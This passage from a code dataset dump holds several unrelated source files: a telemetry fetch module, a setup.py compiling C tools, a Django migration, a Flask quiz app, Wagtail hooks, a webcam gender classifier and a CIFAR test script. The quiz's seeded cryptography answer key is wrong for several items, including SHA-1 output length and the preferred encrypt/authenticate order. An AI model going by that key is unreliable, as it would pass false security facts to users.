out[\"HRC_SS_HK_BAD\"].bads[i0:i1] = True\n\n # Finally interpolate and filter out bad values\n out.interpolate(times=out[msid].times, bad_union=True, filter_bad=True)\n return out[msid]\n\n\nclass memoized(object):\n \"\"\"Decorator that caches a function's return value each time it is called.\n If called later with the same arguments, the cached value is returned, and\n not re-evaluated.\n \"\"\"\n\n def __init__(self, func):\n self.func = func\n self.cache = {}\n\n def __call__(self, *args):\n try:\n return self.cache[args]\n except KeyError:\n self.cache[args] = value = self.func(*args)\n return value\n except TypeError:\n # uncachable -- for instance, passing a list as an argument.\n # Better to not cache than to blow up entirely.\n return self.func(*args)\n\n def __repr__(self):\n \"\"\"Return the function's docstring.\"\"\"\n return self.func.__doc__\n\n\ndef get_time_range(msid, format=None):\n \"\"\"\n Get the time range for the given ``msid``.\n\n :param msid: MSID name\n :param format: Output format (DateTime format, e.g. 'secs', 'date', 'greta')\n :returns: (tstart, tstop) in CXC seconds\n \"\"\"\n MSID = msid.upper()\n with _cache_ft():\n ft[\"content\"] = content[MSID]\n ft[\"msid\"] = \"time\"\n filename = msid_files[\"msid\"].abs\n logger.info(\"Reading %s\", filename)\n\n @local_or_remote_function(\"Getting time range from Ska eng archive server...\")\n def get_time_data_from_server(filename):\n import tables\n\n open_file = getattr(tables, \"open_file\", None) or tables.openFile\n h5 = open_file(os.path.join(*filename))\n tstart = h5.root.data[0]\n tstop = h5.root.data[-1]\n h5.close()\n return tstart, tstop\n\n if filename in CONTENT_TIME_RANGES:\n tstart, tstop = CONTENT_TIME_RANGES[filename]\n else:\n tstart, tstop = get_time_data_from_server(_split_path(filename))\n CONTENT_TIME_RANGES[filename] = (tstart, tstop)\n\n if format is not None:\n tstart = getattr(DateTime(tstart), format)\n tstop = getattr(DateTime(tstop), format)\n return tstart, tstop\n\n\ndef get_telem(\n msids,\n start=None,\n stop=None,\n sampling=\"full\",\n unit_system=\"eng\",\n interpolate_dt=None,\n remove_events=None,\n select_events=None,\n time_format=None,\n outfile=None,\n quiet=False,\n max_fetch_Mb=1000,\n max_output_Mb=100,\n):\n \"\"\"\n High-level routine to get telemetry for one or more MSIDs and perform\n common processing functions:\n\n - Fetch a set of MSIDs over a time range, specifying the sampling as\n either full-resolution, 5-minute, or daily data.\n - Filter out bad or missing data.\n - Interpolate (resample) all MSID values to a common uniformly-spaced time sequence.\n - Remove or select time intervals corresponding to specified Kadi event types.\n - Change the time format from CXC seconds (seconds since 1998.0) to something more\n convenient like GRETA time.\n - Write the MSID telemetry data to a zipfile.\n\n :param msids: MSID(s) to fetch (string or list of strings)')\n :param start: Start time for data fetch (default= - 30 days)\n :param stop: Stop time for data fetch (default=NOW)\n :param sampling: Data sampling (full | 5min | daily) (default=full)\n :param unit_system: Unit system for data (eng | sci | cxc) (default=eng)\n :param interpolate_dt: Interpolate to uniform time steps (secs, default=None)\n :param remove_events: Remove kadi events expression (default=None)\n :param select_events: Select kadi events expression (default=None)\n :param time_format: Output time format (secs|date|greta|jd|..., default=secs)\n :param outfile: Output file name (default=None)\n :param quiet: Suppress run-time logging output (default=False)\n :param max_fetch_Mb: Max allowed memory (Mb) for fetching (default=1000)\n :param max_output_Mb: Max allowed memory (Mb) for file output (default=100)\n\n :returns: MSIDset object\n \"\"\"\n from .get_telem import get_telem\n\n return get_telem(\n msids,\n start,\n stop,\n sampling,\n unit_system,\n interpolate_dt,\n remove_events,\n select_events,\n time_format,\n outfile,\n quiet,\n max_fetch_Mb,\n max_output_Mb,\n )\n\n\n@lru_cache_timed(maxsize=1000, timeout=600)\ndef get_interval(content, tstart, tstop):\n \"\"\"\n Get the approximate row intervals that enclose the specified ``tstart`` and\n ``tstop`` times for the ``content`` type.\n\n The output of this function is cached with an LRU cache of the most recent\n 1000 results. The cache expires every 10 minutes to ensure that a persistent\n session will get new data if the archive gets updated.\n\n :param content: content type (e.g. 'pcad3eng', 'thm1eng')\n :param tstart: start time (CXC seconds)\n :param tstop: stop time (CXC seconds)\n\n :returns: rowslice\n \"\"\"\n\n ft[\"content\"] = content\n\n @local_or_remote_function(\n \"Getting interval data from \" + \"DB on Ska eng archive server...\"\n )\n def get_interval_from_db(tstart, tstop, server):\n\n import Ska.DBI\n\n db = Ska.DBI.DBI(dbi=\"sqlite\", server=os.path.join(*server))\n\n query_row = db.fetchone(\n \"SELECT tstart, rowstart FROM archfiles \"\n \"WHERE filetime < ? order by filetime desc\",\n (tstart,),\n )\n if not query_row:\n query_row = db.fetchone(\n \"SELECT tstart, rowstart FROM archfiles order by filetime asc\"\n )\n\n rowstart = query_row[\"rowstart\"]\n\n query_row = db.fetchone(\n \"SELECT tstop, rowstop FROM archfiles \"\n \"WHERE filetime > ? order by filetime asc\",\n (tstop,),\n )\n if not query_row:\n query_row = db.fetchone(\n \"SELECT tstop, rowstop FROM archfiles order by filetime desc\"\n )\n\n rowstop = query_row[\"rowstop\"]\n\n return slice(rowstart, rowstop)\n\n return get_interval_from_db(tstart, tstop, _split_path(msid_files[\"archfiles\"].abs))\n\n\n@contextlib.contextmanager\ndef _cache_ft():\n \"\"\"\n Cache the global filetype ``ft`` context variable so that fetch operations\n do not corrupt user values of ``ft``.\n \"\"\"\n ft_cache_pickle = pickle.dumps(ft)\n try:\n yield\n finally:\n ft_cache = pickle.loads(ft_cache_pickle)\n ft.update(ft_cache)\n delkeys = [x for x in ft if x not in ft_cache]\n for key in delkeys:\n del ft[key]\n\n\n@contextlib.contextmanager\ndef _set_msid_files_basedir(datestart, msid_files=msid_files):\n \"\"\"\n If datestart is before 2000:001:00:00:00 then use the 1999 archive files.\n \"\"\"\n try:\n cache_basedir = msid_files.basedir\n if datestart < DATE2000_LO:\n # Note: don't use os.path.join because ENG_ARCHIVE and basedir must\n # use linux '/' convention but this might be running on Windows.\n dirs = msid_files.basedir.split(os.pathsep)\n msid_files.basedir = os.pathsep.join(dir_ + \"/1999\" for dir_ in dirs)\n yield\n finally:\n msid_files.basedir = cache_basedir\n\n\ndef _fix_ctu_dwell_mode_bads(msid, bads):\n \"\"\"\n Because of an issue related to the placement of the dwell mode flag, MSIDs that get\n stepped on in dwell mode get a bad value at the beginning of a dwell mode, while the\n dwell mode values (DWELLnn) get a bad value at the end. This does a simple\n brute-force fix of expanding any section of bad values by ones sample in the\n appropriate direction.\n \"\"\"\n MSID = msid.upper()\n stepped_on_msids = (\n \"4PRT5BT\",\n \"4RT585T\",\n \"AFLCA3BI\",\n \"AIRU1BT\",\n \"CSITB5V\",\n \"CUSOAOVN\",\n \"ECNV3V\",\n \"PLAED4ET\",\n \"PR1TV01T\",\n \"TCYLFMZM\",\n \"TOXTSUPN\",\n \"ES1P5CV\",\n \"ES2P5CV\",\n )\n\n if MSID in stepped_on_msids or re.match(r\"DWELL\\d\\d\", MSID):\n # Find transitions from good value to bad value. Turn that\n # good value to bad to extend the badness by one sample.\n ok = (bads[:-1] == False) & (bads[1:] == True) # noqa\n bads[:-1][ok] = True\n\n return bads\n\n\ndef add_logging_handler(level=logging.INFO, formatter=None, handler=None):\n \"\"\"Configure logging for fetch module.\n\n :param level: logging level (logging.DEBUG, logging.INFO, etc)\n :param formatter: logging.Formatter (default: Formatter('%(funcName)s: %(message)s'))\n :param handler: logging.Handler (default: StreamHandler())\n \"\"\"\n\n if formatter is None:\n formatter = logging.Formatter(\"%(funcName)s: %(message)s\")\n\n if handler is None:\n handler = logging.StreamHandler()\n\n handler.setFormatter(formatter)\n logger.setLevel(level)\n logger.addHandler(handler)\n\n\ndef _plural(x):\n \"\"\"Return English plural of ``x``. Super-simple and only valid for the\n known small set of cases within fetch where it will get applied.\n \"\"\"\n return x + \"es\" if (x.endswith(\"x\") or x.endswith(\"s\")) else x + \"s\"\n\n\ndef get_data_gap_spec_parser():\n \"\"\"\n Get parser for fetch data gap specification.\n\n This env var is in the form of a command line argument string with the following\n command line options::\n\n --include INCLUDE Include MSIDs matching glob (default=\"*\", can be repeated)\n --exclude EXCLUDE Exclude MSIDs matching glob (default=None, can be repeated)\n --start START Gap start (relative seconds or abs time)\n --stop STOP Gap stop (relative seconds or abs time)\n\n For example::\n\n \"--exclude=*EPHEM* --start=-25000 --stop=-2000\"\n\n \"\"\"\n import argparse\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--include\",\n default=[],\n action=\"append\",\n help=\"Include MSIDs matching glob (default='*', can be repeated)\",\n )\n parser.add_argument(\n \"--exclude\",\n default=[],\n action=\"append\",\n help=\"Exclude MSIDs matching glob (default=None, can be repeated)\",\n )\n parser.add_argument(\n \"--start\", default=-30000, help=\"Gap start (relative seconds or abs time)\"\n )\n parser.add_argument(\n \"--stop\", default=-3000, help=\"Gap stop (relative seconds or abs time)\"\n )\n return parser\n\n\ndef msid_matches_data_gap_spec(msid, includes, excludes):\n from fnmatch import fnmatch\n\n msid = msid.upper()\n includes = includes or [\"*\"]\n match = any(fnmatch(msid, include.upper()) for include in includes) and not any(\n fnmatch(msid, exclude.upper()) for exclude in excludes\n )\n return match\n\n\ndef create_msid_data_gap(msid_obj: MSID, data_gap_spec: str):\n \"\"\"\n Make a data gap in the ``msid_obj`` (in-place) by removing data points.\n\n This is mostly useful for testing via setting the ``CHETA_FETCH_DATA_GAP``\n environment variable.\n\n The ``data_gap_spec`` string corresponds to a command line argument string with the\n following options::\n\n --include INCLUDE Include MSIDs matching glob (default=\"*\", can be repeated)\n --exclude EXCLUDE Exclude MSIDs matching glob (default=None, can be repeated)\n --start START Gap start (CxoTimeLike)\n --stop STOP Gap stop (CxoTimeLike)\n\n For example::\n\n >>> dat = fetch.MSID('aopcadmd', '2010:001', '2010:002')\n >>> gap_spec = \"--start=-2010:001:12:00:00 --stop=2010:001:12:30:00\"\n >>> fetch.create_msid_data_gap(dat, gap_spec)\n\n :param msid_obj: MSID object\n :param data_gap_spec: data gap specification\n \"\"\"\n import shlex\n\n from cxotime import CxoTime\n\n parser = get_data_gap_spec_parser()\n args = parser.parse_args(shlex.split(data_gap_spec))\n\n if msid_matches_data_gap_spec(msid_obj.MSID, args.include, args.exclude):\n start = CxoTime(args.start)\n stop = CxoTime(args.stop)\n logger.info(\n f\"Creating data gap for {msid_obj.MSID} \"\n f\"from {start.date} to {stop.date}\"\n )\n i0, i1 = np.searchsorted(msid_obj.times, [start.secs, stop.secs])\n for attr in msid_obj.colnames:\n val = getattr(msid_obj, attr)\n if val is not None:\n val_new = np.concatenate([val[:i0], val[i1:]])\n setattr(msid_obj, attr, val_new)\n","sub_path":"Ska/engarchive/fetch.py","file_name":"fetch.py","file_ext":"py","file_size_in_byte":84731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"177610431","text":"import os\nimport shutil\nimport subprocess\nfrom pathlib import Path\n\nfrom setuptools import setup\nfrom setuptools.command.build_clib import build_clib as _build_clib\n\n\nclass build_clib(_build_clib):\n def build_libraries(self, libraries):\n cc = os.environ.get('CC')\n build_static = os.environ.get('BUILD_STATIC', 'n') == 'y'\n include_dirs = None\n library_dirs = None\n if cc is None:\n if self.compiler.compiler_type == 'msvc':\n self.compiler.initialize()\n cc = self.compiler.cc\n include_dirs = self.compiler.include_dirs\n library_dirs = self.compiler.library_dirs\n elif self.compiler.compiler_type == 'bcpp':\n cc = 'bcpp'\n elif hasattr(self.compiler, 'compiler_so') and self.compiler.compiler_so:\n # looks like ['gcc', '-pthread', '-Wl,--sysroot=/', ...]\n cc = self.compiler.compiler_so[0]\n if not cc:\n cc = find_c_compiler()\n output_dir = Path('build/lib/hatanaka/bin')\n output_dir.mkdir(parents=True, exist_ok=True)\n for executable, build_info in libraries:\n output = output_dir / executable\n build(build_info['sources'], output, cc, build_static, include_dirs, library_dirs)\n\n # copy to source dir as well for easier testing\n for f in list(output_dir.glob('rnx2crx*')) + list(output_dir.glob('crx2rnx*')):\n shutil.copy(f, 'hatanaka/bin/')\n\n\ndef build(sources, output, cc, build_static=False, include_dirs=None, library_dirs=None):\n if not all(Path(src).is_file() for src in sources):\n raise FileNotFoundError(sources)\n output = str(output)\n\n if cc.replace('.exe', '').endswith('cl'): # msvc-like\n cmd = [cc, *sources, '/nologo', '/O2', '/Fe:' + output]\n if include_dirs:\n cmd += ['/I' + inc_dir for inc_dir in include_dirs]\n if library_dirs:\n cmd += ['/link']\n cmd += ['/LIBPATH:' + library_dir for library_dir in library_dirs]\n else:\n cmd = [cc, *sources, '-O3', '-Wno-unused-result', '-o', output]\n if include_dirs:\n cmd += ['-I' + inc_dir for inc_dir in include_dirs]\n if library_dirs:\n cmd += ['-L' + library_dir for library_dir in library_dirs]\n if build_static:\n cmd.append('-static')\n\n print(' '.join(cmd))\n subprocess.check_call(cmd)\n\n\ndef find_c_compiler(cc=None):\n compilers = ['cc', 'gcc', 'clang', 'icc', 'icl', 'cl', 'clang-cl']\n if cc is not None:\n compilers = [cc] + compilers\n available = list(filter(shutil.which, compilers))\n if not available:\n raise FileNotFoundError('No C compiler found on PATH')\n return available[0]\n\n\ncmdclass = {'build_clib': build_clib}\n\ntry:\n from wheel.bdist_wheel import bdist_wheel as _bdist_wheel\n\n\n class bdist_wheel(_bdist_wheel):\n def get_tag(self):\n impl, abi_tag, plat_name = super().get_tag()\n impl = 'py3'\n abi_tag = 'none'\n plat_name = plat_name.replace('linux', 'manylinux1')\n return impl, abi_tag, plat_name\n\n\n cmdclass['bdist_wheel'] = bdist_wheel\nexcept ImportError:\n pass\n\nsetup(\n libraries=[\n ('rnx2crx', {'sources': ['rnxcmp/source/rnx2crx.c']}),\n ('crx2rnx', {'sources': ['rnxcmp/source/crx2rnx.c']})\n ],\n cmdclass=cmdclass,\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"429346872","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\nimport django.utils.timezone\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('auth', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Board',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('board_name', models.CharField(max_length=30)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Comment',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('text', models.CharField(max_length=500)),\n ('date', models.DateTimeField(auto_now_add=True, verbose_name='%Y-%m-%d %H:%M:%S')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Event',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('start_time', models.DateTimeField(verbose_name='Start time:')),\n ('end_time', models.DateTimeField(verbose_name='End time:')),\n ('picture', models.ImageField(verbose_name='Pic', blank=True, upload_to='.')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Place',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('latitude', models.FloatField(verbose_name='Latitude:')),\n ('altitude', models.FloatField(verbose_name='Altitude:')),\n ('event_id', models.OneToOneField(to='Events.Event')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Post',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('author', models.CharField(max_length=30)),\n ('board_id', models.ForeignKey(to='Events.Board')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='User',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('password', models.CharField(verbose_name='password', max_length=128)),\n ('last_login', models.DateTimeField(verbose_name='last login', default=django.utils.timezone.now)),\n ('is_superuser', models.BooleanField(verbose_name='superuser status', default=False, help_text='Designates that this user has all permissions without explicitly assigning them.')),\n ('username', models.CharField(max_length=30, unique=True)),\n ('email', models.EmailField(verbose_name='Email', max_length=40, unique=True)),\n ('is_admin', models.BooleanField(verbose_name='Admin status', default=False)),\n ('is_active', models.BooleanField(verbose_name='Active', default=True)),\n ('date_joined', models.DateTimeField(verbose_name='Date joined', default=django.utils.timezone.now)),\n ('groups', models.ManyToManyField(verbose_name='groups', help_text='The groups this user belongs to. A user will get all permissions granted to each of his/her group.', to='auth.Group', related_query_name='user', blank=True, related_name='user_set')),\n ('user_permissions', models.ManyToManyField(verbose_name='user permissions', help_text='Specific permissions for this user.', to='auth.Permission', related_query_name='user', blank=True, related_name='user_set')),\n ],\n options={\n 'verbose_name': 'User',\n 'verbose_name_plural': 'Users',\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='post',\n name='user_id',\n field=models.ForeignKey(to=settings.AUTH_USER_MODEL),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='event',\n name='owner',\n field=models.ForeignKey(to=settings.AUTH_USER_MODEL),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='comment',\n name='post',\n field=models.ForeignKey(to='Events.Post', default=1),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='board',\n name='event_id',\n field=models.ForeignKey(to='Events.Event'),\n preserve_default=True,\n ),\n ]\n","sub_path":"wsgi/myproject/Events/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":5133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"563974305","text":"from flask import Flask, request, render_template, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nimport random\nimport itertools\nfrom flask import Markup\n\napp = Flask(__name__)\n\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///quiz.db'\nquiz = SQLAlchemy(app)\n\n\nclass Questionclass(quiz.Model):\n id = quiz.Column(quiz.Integer, primary_key=True)\n Question = quiz.Column(quiz.String)\n Option1 = quiz.Column(quiz.String)\n Option2 = quiz.Column(quiz.String)\n Option3 = quiz.Column(quiz.String)\n Answer = quiz.Column(quiz.String)\n\n def __init__(self, Question, Option1, Option2, Option3, Answer):\n self.Question = Question\n self.Option1 = Option1\n self.Option2 = Option2\n self.Option3 = Option3\n self.Answer = Answer\n\n\n@app.route('/')\ndef Quizzes():\n return render_template('Quizzes.html')\n\n\ndef addInquiz(Question, Option1, Option2, Option3, Answer):\n quiz.create_all()\n allUsers = Questionclass.query.all()\n new_item = Questionclass(Question, Option1, Option2, Option3, Answer)\n quiz.session.add(new_item)\n quiz.session.commit()\n\n def __repr__(self):\n return '' % self.Question\n\n\n@app.route(\"/view\")\ndef userFetch():\n quiz.create_all()\n allUsers = Questionclass.query.all()\n diction = {\"Questions\": []}\n for x in allUsers:\n diction[\"Questions\"].append({\"Question\": x.Question,\n \"Option1\": x.Option1,\n \"Option2\": x.Option2,\n \"Option3\": x.Option3,\n \"Answer\": x.Answer})\n return jsonify(diction)\n\n\naddInquiz(\n \"A hash function guarantees integrity of a message. It guarantees that message has not be\", \"Replaced\",\"Over view\",\"Changed\",3)\naddInquiz(\n \"Digest created by a hash function is normally called a\",\"Modification detection code (MDC)\",\"Modify authentication connection\",\"Message authentication control\", 1)\naddInquiz(\n \"If a MAC tag is K-bits long, how much work is needed to find a collision to that specific value.\",\"2^{k/2}\", \"K^2\", \"K!\",3)\naddInquiz(\n\"Best way to achieve both privacy and message integrity\",\"Encrypt and Authenticate\",\"Authenticate then Encrypt\",\"Encrypt then Authenticate\", 2)\naddInquiz(\n \" The out put length of SHA - I is _____________ bits\",\"128\",\"160\",\"64\",3)\n\n\nif __name__ == '__main__':\n app.run(port='8080')\n","sub_path":"cbc-mac/app/create_quiz_database.py","file_name":"create_quiz_database.py","file_ext":"py","file_size_in_byte":2422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"127710947","text":"# Imports\nfrom tensorflow.keras.preprocessing.image import img_to_array, load_img\nfrom tensorflow.keras.models import load_model\nfrom tensorflow.keras.utils import get_file\nimport os\nimport numpy as np\nimport cv2 as cv\n\n# Initializing\nmodel = load_model('assets/preTrainedModel.h5')\nface_cascade = cv.CascadeClassifier('assets/haarcascade_frontalface_alt.xml')\n\nImagefactor = 0.5\npoweredImageFactor = 0.7\n\nfrom tkinter import *\nfrom tkinter import filedialog\nfrom PIL import ImageTk, Image\n\nroot = Tk()\nroot.geometry(\"800x600\")\nroot.title('Gender Classifier')\n\n\n# Functions\n# Open Camera\ndef openCamera(event):\n global model\n global face_cascade\n genderWindow = \"Gender Classification\"\n # Fullscreen - Disabled\n # cv.namedWindow(genderWindow, cv.WND_PROP_FULLSCREEN)\n # cv.setWindowProperty(genderWindow, cv.WND_PROP_FULLSCREEN, cv.WINDOW_FULLSCREEN)\n webcam = cv.VideoCapture(0)\n while webcam.isOpened():\n status, frame = webcam.read()\n if not status:\n print(\"Could not read frame\")\n exit()\n img = frame\n gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(gray, 1.3, 5)\n for (x, y, w, h) in faces:\n rectangleColor = (0, 255, 0)\n cv.rectangle(img, (x, y), (x + w, y + h), rectangleColor, 2)\n roi_gray = gray[y: y + h, x: x + w]\n roi_color = img[y: y + h, x: x + w]\n extractedImage = np.copy(img[y: y + h, x: x + w])\n if (extractedImage.shape[0]) < 10 or (extractedImage.shape[1]) < 10:\n continue\n extractedImage = cv.resize(extractedImage, (96, 96))\n extractedImage = extractedImage.astype(\"float\") / 255.0\n extractedImage = img_to_array(extractedImage)\n extractedImage = np.expand_dims(extractedImage, axis=0)\n pred = model.predict(extractedImage)\n if pred[0][0] > 0.5:\n label = \"Male\"\n textColor = (255, 0, 0)\n else:\n label = \"Female\"\n textColor = (0, 0, 255)\n cv.putText(img, label, (x, y), cv.FONT_HERSHEY_SIMPLEX, 0.7, textColor, 2)\n titleColor = (0, 0, 255)\n (widthh, heightt), baseline = cv.getTextSize(\"Press Q to Quit\", cv.FONT_HERSHEY_SIMPLEX, 0.7, 2)\n # cv.rectangle(img, (0, 30), (0 + widthh + 10, 30 + heightt + 10), (0, 0, 0), 2)\n recPts = np.array(\n [[[0, 30], [0 + widthh + 10, 30], [0 + widthh + 10, 30 + heightt + 10], [0, 30 + heightt + 10]]],\n dtype=np.int32)\n cv.fillPoly(img, recPts, (0, 0, 0))\n cv.putText(img, \"Press Q to Quit\", (0, 50), cv.FONT_HERSHEY_SIMPLEX, 0.7, titleColor, 2)\n cv.imshow(genderWindow, img)\n if cv.waitKey(10) & 0xFF == ord('q'):\n break\n\n webcam.release()\n cv.destroyAllWindows()\n\n\n# Image Input Window\ndef openImageWindow(event):\n global model\n path = filedialog.askopenfilename()\n img = cv.imread(path)\n gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n print(path)\n face_cascade = cv.CascadeClassifier('assets/haarcascade_frontalface_default.xml')\n currFaces = face_cascade.detectMultiScale(gray, 1.3, 5)\n faces = currFaces\n maxLength = len(faces)\n\n haarcascades = ['assets/haarcascade_frontalface_alt.xml', 'assets/haarcascade_frontalface_alt2.xml',\n 'assets/haarcascade_frontalface_alt_tree.xml']\n for i in range(0, 3):\n face_cascade = cv.CascadeClassifier(haarcascades[i])\n currFaces = face_cascade.detectMultiScale(gray, 1.3, 5)\n if len(currFaces) > maxLength:\n faces = currFaces\n maxLength = len(currFaces)\n out = []\n for (x, y, w, h) in faces:\n rectangleColor = (255, 0, 0)\n cv.rectangle(img, (x, y), (x + w, y + h), rectangleColor, 2)\n roi_gray = gray[y: y + h, x: x + w]\n roi_color = img[y: y + h, x: x + w]\n extractedImage = np.copy(img[y: y + h, x: x + w])\n if (extractedImage.shape[0]) < 10 or (extractedImage.shape[1]) < 10:\n continue\n extractedImage = cv.resize(extractedImage, (96, 96))\n extractedImage = extractedImage.astype(\"float\") / 255.0\n extractedImage = img_to_array(extractedImage)\n extractedImage = np.expand_dims(extractedImage, axis=0)\n pred = model.predict(extractedImage)\n if pred[0][0] > 0.5:\n label = \"Male : \"\n percentage = pred[0][0] * 100.0\n label += str(round(percentage, 2))\n label += \"%\"\n textColor = (0, 255, 0)\n else:\n label = \"Female : \"\n percentage = pred[0][1] * 100.0\n label += str(round(percentage, 2))\n label += \"%\"\n textColor = (255, 255, 0)\n ok = False\n fontScale = 2.1\n while ok == False:\n fontScale -= 0.1\n if fontScale <= 0.5:\n break\n (widthh, heightt), baseline = cv.getTextSize(label, cv.FONT_HERSHEY_SIMPLEX, fontScale, 2)\n if widthh <= w:\n ok = True\n cv.putText(img, label, (x, y), cv.FONT_HERSHEY_SIMPLEX, fontScale, textColor, 2)\n # cv.imshow(\"gender detection\", img)\n\n outputImg = img\n (imgWidth, imgHeight, imgDepth) = outputImg.shape\n outputWindow = 'Output Image'\n # Fullscreen - Disabled\n # cv.namedWindow(outputWindow, cv.WND_PROP_FULLSCREEN)\n # cv.setWindowProperty(outputWindow, cv.WND_PROP_FULLSCREEN, cv.WINDOW_FULLSCREEN)\n cv.imshow(outputWindow, outputImg)\n cv.imwrite('output.jpg', outputImg)\n videoBtn.place_forget()\n videoBtn.place(x=(800 - 247) / 2, y=370)\n\n\n# Loading Images\nlogo = Image.open(\"assets/Logo.png\")\nlogo = ImageTk.PhotoImage(logo)\n\npoweredImage = Image.open(\"assets/powered.png\")\npoweredImage = ImageTk.PhotoImage(poweredImage.resize((int(495 * poweredImageFactor), int(90 * poweredImageFactor))))\n\nvideoImage = Image.open(\"assets/video.png\")\nvideoImage = ImageTk.PhotoImage(videoImage.resize((int(495 * Imagefactor), int(90 * Imagefactor))))\n\ninputImage = Image.open(\"assets/cam.png\")\ninputImage = ImageTk.PhotoImage(inputImage.resize((int(495 * Imagefactor), int(90 * Imagefactor))))\n\n# Logo Label\nlogoLbl = Label(root, image=logo)\nlogoLbl.place(x=(800 - 500) / 2 - 30, y=10)\n\npoweredLabel = Label(root, image=poweredImage)\npoweredLabel.place(x=(800 - int(495 * poweredImageFactor)) / 2, y=500)\n\n# Buttons\ninputImageBtn = Button(root)\ninputImageBtn.config(image=inputImage)\ninputImageBtn.place(x=(800 - 247) / 2, y=300)\ninputImageBtn.bind('', openImageWindow)\n\nvideoBtn = Button(root)\nvideoBtn.config(image=videoImage)\nvideoBtn.place(x=(800 - 247) / 2, y=370)\nvideoBtn.bind('', openCamera)\n\n# btn.place_forget()\n\nroot.mainloop()","sub_path":"mainMenu.py","file_name":"mainMenu.py","file_ext":"py","file_size_in_byte":6776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"322364075","text":"from django.conf import settings\nfrom django.conf.urls import include, url\nfrom django.core.urlresolvers import reverse\nfrom wagtail.wagtailadmin import widgets\nfrom wagtail.wagtailadmin.menu import MenuItem\nfrom wagtail.wagtailcore import hooks\n\nfrom wagtailtrans.models import Language\nfrom wagtailtrans.urls import languages, translations\n\n\n@hooks.register('register_admin_urls')\ndef register_admin_urls():\n return [\n url(r'^language/',\n include(languages, namespace='wagtailtrans_languages')),\n url(r'^translate/',\n include(translations, namespace='wagtailtrans_translations')),\n ]\n\n\n@hooks.register('register_settings_menu_item')\ndef register_language_menu_item():\n return MenuItem(\n 'Languages',\n reverse('wagtailtrans_languages:index'),\n classnames='icon icon-snippet',\n order=1000,\n )\n\n\nif not settings.WAGTAILTRANS_SYNC_TREE:\n \"\"\"Only load hooks when WAGTAILTRANS_SYNC_TREE is disabled\"\"\"\n\n @hooks.register('register_page_listing_buttons')\n def page_translations_menu(page, page_perms, is_parent=False):\n if not hasattr(page, 'language'):\n return\n\n if hasattr(page, 'canonical_page') and page.canonical_page:\n return\n\n yield widgets.ButtonWithDropdownFromHook(\n 'Translate into',\n hook_name='wagtailtrans_dropdown_hook',\n page=page,\n page_perms=page_perms,\n is_parent=is_parent,\n priority=10)\n\n @hooks.register('wagtailtrans_dropdown_hook')\n def page_translations_menu_items(page, page_perms, is_parent=False):\n prio = 1\n exclude_lang = None\n\n if hasattr(page, 'language') and page.language:\n exclude_lang = page.language\n\n other_languages = set(\n Language.objects\n .live()\n .exclude(pk=exclude_lang.pk)\n .order_by('position'))\n\n translations = (\n page.get_translations(only_live=False).select_related('language'))\n taken_languages = set(translations.values_list('language', flat=True))\n\n translation_targets = other_languages - taken_languages\n for language in translation_targets:\n yield widgets.Button(\n language.get_code_display(),\n reverse('wagtailtrans_translations:add', kwargs={\n 'page_pk': page.pk,\n 'language_code': language.code,\n }),\n priority=prio)\n\n prio += 1\n","sub_path":"src/wagtailtrans/wagtail_hooks.py","file_name":"wagtail_hooks.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"480655271","text":"#test.py\n#!/usr/bin/env python3\n\n\"\"\" test neuron network performace\nprint top1 and top5 err on test dataset\nof a model\n\nauthor baiyu\n\"\"\"\n\nimport argparse\n\nfrom matplotlib import pyplot as plt\n\nimport torch\nimport torchvision.transforms as transforms\nfrom torch.utils.data import DataLoader\nfrom torchsummary import summary\n\nfrom conf import settings\nfrom utils import get_network, get_test_dataloader\n\ndef evaluate(model,net, classes):\n net.load_state_dict(torch.load(model))\n #print(net)\n net.eval()\n\n correct_1 = 0.0\n correct_5 = 0.0\n total = 0\n \n ground_truth = 0\n with torch.no_grad():\n print(len(cifar100_test_loader.dataset))\n for n_iter, (image, label) in enumerate(cifar100_test_loader):\n #print(\"iteration: {}\\ttotal {} iterations\".format(n_iter + 1, len(cifar100_test_loader)))\n total+=1\n if args.gpu:\n image = image.cuda()\n label = label.cuda()\n print('GPU INFO.....')\n 